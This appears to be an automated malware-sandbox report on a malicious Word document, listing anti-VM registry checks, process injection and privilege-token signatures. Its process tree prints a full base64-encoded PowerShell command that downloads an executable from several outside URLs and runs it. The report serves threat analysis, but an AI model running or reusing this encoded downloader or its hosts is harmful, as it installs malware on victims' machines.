Task
task1
Sample
Docs_2d2bb0066e53360135c9cf5985000a08.17.doc
Resource
win7
0 signatures
Task
task2
Sample
Docs_2d2bb0066e53360135c9cf5985000a08.17.doc
Resource
win10
0 signatures
General
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Target
Docs_2d2bb0066e53360135c9cf5985000a08.17
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Sample
191011-xqzegffk72
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SHA256
910b6b7ca4acd16965d4bbe1ab34ba9620cf52a6f5d0466cb470ff62d9456867
Score
N/A
Malware Config
Signatures
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Suspicious behavior: AddClipboardFormatListener
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Suspicious use of SetWindowsHookEx
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Processes:
WINWORD.EXEat description ioc process 48922 File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm WINWORD.EXE 49032 File created C:\Users\Admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm WINWORD.EXE 62094 File opened for modification C:\Users\Admin\AppData\Local\Temp\Docs_2d2bb0066e53360135c9cf5985000a08.17.doc WINWORD.EXE 66547 File created C:\Users\Admin\AppData\Local\Temp\~$cs_2d2bb0066e53360135c9cf5985000a08.17.doc WINWORD.EXE -
Suspicious use of WriteProcessMemory 1 IoCs
Processes:
SppExtComObj.exeat description process target process 49172 PID 3712 wrote to memory of 524 SppExtComObj.exe SLUI.exe -
Checks system information in the registry (likely anti-VM) 2 TTPs 2 IoCs
Processes:
WINWORD.EXEat description ioc process 61735 Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer WINWORD.EXE 61735 Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName WINWORD.EXE -
Enumerates system info in registry 2 TTPs 5 IoCs
Processes:
WINWORD.EXEat description ioc process 61735 Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE 61735 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE 61735 Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE 61735 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE 61735 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Checks processor information in registry (likely anti-VM) 2 TTPs 2 IoCs
Processes:
WINWORD.EXEat description ioc process 61735 Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE 61735 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Suspicious use of FindShellTrayWindow
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Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exeat description process 143438 Token: SeDebugPrivilege powershell.exe -
Suspicious behavior: EnumeratesProcesses
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_2d2bb0066e53360135c9cf5985000a08.17.doc" /o ""1⤵
- Drops Office document
- Checks system information in the registry (likely anti-VM)
- Enumerates system info in registry
- Checks processor information in registry (likely anti-VM)
PID:2320
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
PID:3712
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C:\Windows\System32\SLUI.exe"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent1⤵PID:524
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABiAGIAMQA0ADcAeAAwADgAMABjADIAPQAnAHgAMgA3ADMAMAA1ADAAMwBjAGIAMAA2ACcAOwAkAGIANQB4ADAAYwA0AGMANgBiADMANAA4ADgAIAA9ACAAJwA4ADUANgAnADsAJABjAGIAMAA1AGMANgA1ADEAMABjADAAMAA3AD0AJwBjADAAMQA4ADMAMAA5AHgAMABjADIAJwA7ACQAeABjADAAeAA1ADcAYgAzADgAYgAyAHgANwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAYgA1AHgAMABjADQAYwA2AGIAMwA0ADgAOAArACcALgBlAHgAZQAnADsAJAB4ADMAMAA5ADQAeAAwADkAYwAwAGIAMAA9ACcAYwBjADAAOAAyADYAMAAyAHgAMwAxACcAOwAkAHgAYwAyAGMAMgA5ADUAeAAyADAAOAAwADIAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4AZQBUAC4AdwBFAEIAQwBMAGkARQBOAFQAOwAkAGIAMAAwAGIAMQAzADcAMQAwADgAMQA9ACcAaAB0AHQAcAA6AC8ALwB4AHMAbgBvAG4AbABpAG4AZQAuAHUAcwAvAGIAbABvAGcAcwAvADQAeAA0ADYANgB2AC8AKgBoAHQAdABwADoALwAvAG8AYgBiAHkAZABlAGUAbQB1AHMAaQBjAC4AYwBvAG0ALwBhAHEAbwBlAGkAdgBqADQAZgBkAC8AdQBzADUAaAB0AHYAbgAvACoAaAB0AHQAcAA6AC8ALwB2AGUAZQBwAGwAYQBuAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AZABXADAAbwAzAFIAbwBKAE4ARwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGsAbQBhAGMAbwBiAGQALgBjAG8AbQAvAHUAOQByAC8AKgBoAHQAdABwADoALwAvAGEAaQBqAGQAagB5AC4AYwBvAG0ALwBkAHUAcAAtAGkAbgBzAHQAYQBsAGwAZQByAC8AdAAwAC8AJwAuACIAcwBwAEwAYABpAFQAIgAoACcAKgAnACkAOwAkAGMAeABjADIAMAAwADAAMQA1ADMAYgA9ACcAYwA3ADgAeABiADgANwA5ADAAMAAwADYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAGIAYwAxADYAOAAwADEANAAzADAAYwB4ACAAaQBuACAAJABiADAAMABiADEAMwA3ADEAMAA4ADEAKQB7AHQAcgB5AHsAJAB4AGMAMgBjADIAOQA1AHgAMgAwADgAMAAyAC4AIgBEAG8AdwBOAEwAYABPAEEAZABmAGkAYABMAGUAIgAoACQAYgBjADEANgA4ADAAMQA0ADMAMABjAHgALAAgACQAeABjADAAeAA1ADcAYgAzADgAYgAyAHgANwApADsAJABiADkAMwA2ADYAYgAwADAAOAB4ADYAPQAnAGMAMAAzADAAMABjADkAOAAyADcAMAAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAHgAYwAwAHgANQA3AGIAMwA4AGIAMgB4ADcAKQAuACIAbABgAGUAbgBnAFQAaAAiACAALQBnAGUAIAAyADQANQAxADYAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwBgAFQAYQByAFQAIgAoACQAeABjADAAeAA1ADcAYgAzADgAYgAyAHgANwApADsAJABiAHgAYwAxADAAMAA1ADIANQBjADAANwA0AD0AJwBjADcANgAwADQAMAAwADcAeAB4ADMAMgA4ACcAOwBiAHIAZQBhAGsAOwAkAGIAMgAwADMANwAwADYAMAA5ADQAOQA9ACcAeAB4ADIAMABiADkAMwAwADQAMwBjADAAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAeABjADUANgAwADAAMwA5ADUAOAB4AHgAPQAnAGMAMAA1ADkAMgAzADQAMAAwADYAYwAwACcA1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2020